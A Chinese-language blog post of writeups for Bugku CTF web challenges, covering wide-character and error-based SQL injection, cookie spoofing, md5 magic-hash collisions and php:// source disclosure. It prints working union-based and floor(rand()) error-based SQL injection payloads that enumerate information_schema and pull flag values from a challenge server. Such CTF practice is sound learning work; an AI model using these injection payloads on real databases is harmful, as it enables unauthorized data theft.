1. 程式人生 > >Bugku Web題刷題記錄(會持續更新)

Bugku Web題刷題記錄(會持續更新)

之前web題做的不太多,現在多刷一點,寫一下writeup記錄一下,也方便以後複習。

sql注入

寬字元注入,題目說找key表的string欄位了,so payload如下:

域名解析

這道題寫wp的時候打不開了,不過當時做的時候只要把host改成這個ip地址就行了

sql注入2

這個題先是waf,有敏感詞直接exit。但是後面有一個過濾xss的函式,會除去<....>之類的東西,所以只要在引數中的敏感詞裡新增<>就可以注入了。

首先爆資料庫名:

題目說查key表的hash欄位,所以直接再查一下就拿到flag了:

你必須讓他停下

這題也挺無聊的,bp抓包以後多go幾次就出來了

本地包含

變數1

Web5

看原始碼,直接把jsfuck丟到Consle裡

頭等艙

沒什麼意思的題,直接抓包就可以了

Web4

檢視原始碼urldecode以後整理如下

 

直接submit"67d709b2b54aa2aa648cf6e87a7114f1",就得到flag

flagIndex

用偽協議檢視base64加密後的原始碼

解密後的原始碼裡有flag

點選一萬次

檢視原始碼:

在Console裡讓clicks為999999

然後再點一次就出flag了

備份是個好習慣

地址後新增index.php.bak可以下到原始碼,開啟檢視如下

就是找兩個不相等的值md5相同,分別傳參240610708和QNKCDZO,然後就可以拿到flag了

成績單

首先獲取資料庫名

然後爆表名

id=0' union selectdatabase(),table_name,1,1 from information_schema.tables wheretable_schema='skctf_flag'#

爆列名

id=0' union selectdatabase(),table_name,column_name,1 from information_schema.columns wheretable_schema='skctf_flag' and table_name = 'fl4g'#

拿flag

id=0' union select skctf_flag,1,1,1from skctf_flag.fl4g#

秋名山老司機

其實這道題本來也挺簡單的,直接寫指令碼獲取到數值提交上去就能得到flag了,坑點是必須要在是這個頁面的時候才能得到flag

所以直接照著這個頁面寫,多執行幾次就行了,要注意cookie一致,很簡單的指令碼就不列出來了。

速度要快

抓包以後發現一串base64碼

Base64解密並Utf-8解碼以後如下

這個值每次都會變,而且要立刻提交,所以寫個指令碼就行了,也比較簡單。

cookies欺騙

剛開始的網址是這樣的:

filename拿去base64解密,是key.txt,於是嘗試filename=index.php的base64碼,未果,修改行號,發現出現內容,於是一行一行輸出,最終得到如下程式碼:

根據邏輯,修改一下cookies,得到flag

多次

寫這個wp的時候已經是做出來好久了,居然發現都快忘記怎麼做了,看來以後做題還是應該留個記錄。

第一關

首先經嘗試會發現union、select等關鍵詞會報錯:

於是嘗試看看是不是被過濾的,中間加個and果然不報錯了:

由於回顯只有一行,所以要讓第一個查詢變為Flase,即加上and 1=2(順便把資料庫也爆出來)

然後一步步嘗試發現where和from都沒有被過濾,or被過濾了

然後爆表名

爆列名,注意有兩個

 

然後那個flag其實沒什麼卵用,address是第二關:


第二關

可以通過操縱id來注入,這次waf比上次厲害些,敏感詞別想著過濾了。

試了一下and 1=1,發現有報錯:

可以利用報錯注入,首先爆資料庫名:

然後爆表名:

http://120.24.86.145:9004/Once_More.php?id=1'or(select count(*)b,concat((select table_name from information_schema.tableswhere table_schema = 'web1002-2' limit 0,1),floor(rand(0)*2))a frominformation_schema.tables group by a)=(1,1)%23

 

看上去是flag2了,我們可以爆一下flag2的列名:

http://120.24.86.145:9004/Once_More.php?id=1'or(select count(*)b,concat((select column_name from information_schema.columnswhere table_schema = 'web1002-2' and table_name='flag2' limit 0,1),floor(rand(0)*2))afrom information_schema.tables group by a)=(1,1)%23

最後想拿flag,發現出現了一個問題:

這個情況表明返回的內容中有回車,substring沒有用,於是嘗試left,發現沒問題,於是直接left就可以出結果了:

http://120.24.86.145:9004/Once_More.php?id=1%27or(select count(*)b,concat(left((select flag2 from flag2 limit0,1),40),floor(rand(0)*2))a from information_schema.tables group by a)=(1,1)%23


第三關

進來發現一張二維碼……然後它提示是引數是game,flag在admin中,然而沒卵用,感覺game怎麼注都沒反應,希望有大佬做出來指點一下吧。



初入web坑,歡迎大家互相交流~